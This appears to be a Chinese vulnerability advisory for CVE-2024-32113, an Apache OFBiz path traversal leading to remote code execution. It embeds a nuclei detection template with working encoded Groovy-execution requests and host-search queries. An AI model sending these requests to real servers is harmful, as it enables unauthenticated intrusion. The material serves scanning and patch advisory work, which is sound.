Apache OFBiz 目录遍历漏洞 - 远程代码执行

漏洞信息

漏洞名称: Apache OFBiz 目录遍历漏洞 - 远程代码执行

漏洞编号:

  • CVE: CVE-2024-32113

漏洞类型: 目录遍历

漏洞等级: 高危

漏洞描述: Apache OFBiz是一个开源的企业资源规划(ERP)系统,广泛应用于企业级服务中,提供包括电子商务、供应链管理、客户关系管理等多种功能。由于其功能全面和灵活性,Apache OFBiz在全球范围内被许多企业采用。该漏洞存在于Apache OFBiz的webtools组件中,由于对路径名的限制不当,导致存在目录遍历漏洞。攻击者可以通过构造特殊的HTTP请求,利用此漏洞绕过安全限制,访问或执行服务器上的任意文件。具体来说,漏洞的根源在于对用户提供的路径名未进行充分的验证和清理,使得攻击者能够通过包含特殊字符(如’../‘)的路径名,访问受限目录之外的文件。这种漏洞的利用可能导致远程代码执行(RCE),攻击者可以在服务器上执行任意命令,从而完全控制系统,访问敏感数据,甚至进一步攻击内网其他系统。由于此漏洞不需要任何形式的认证即可利用,且存在公开的利用代码,因此其危害性极高。建议所有使用受影响版本的用户立即升级到18.12.13或更高版本,以修复此漏洞。

产品厂商: Apache

产品名称: Apache OFBiz

影响版本: before 18.12.13

搜索语法: app=”Apache_OFBiz”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/ad8184c91f1b4c7abbef369cdcd9cb9b0df52852/http%2Fcves%2F2024%2FCVE-2024-32113.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

id: CVE-2024-32113

info:
name: Apache OFBiz Directory Traversal - Remote Code Execution
author: DhiyaneshDK
severity: high
description: |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13
impact: |
An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
remediation: |
Users are recommended to upgrade to version 18.12.13, which fixes the issue.
reference:
- https://issues.apache.org/jira/browse/OFBIZ-13006
- https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd
- https://ofbiz.apache.org/download.html
- https://ofbiz.apache.org/security.html
- https://github.com/absholi7ly/Apache-OFBiz-Directory-Traversal-exploit
- https://nvd.nist.gov/vuln/detail/CVE-2024-32113
classification:
cve-id: CVE-2024-32113
cvss-score: 9.8
cwe-id: CWE-22
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
epss-score: 0.93490
epss-percentile: 0.99819
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
fofa-query: app="Apache_OFBiz"
shodan-query: 'title:"OFBiz"'
product: ofbiz
vendor: apache
tags: cve,cve2024,apache,ofbiz,rce,kev

http:
- raw:
- |
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

groovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%64%27.%65%78%65%63%75%74%65().%74%65%78%74);

- |
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

groovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%70%63%6F%6E%66%69%67%27.%65%78%65%63%75%74%65().%74%65%78%74);

matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
condition: or

- type: word
part: body
words:
- 'java.lang.Exception'

- type: status
status:
- 200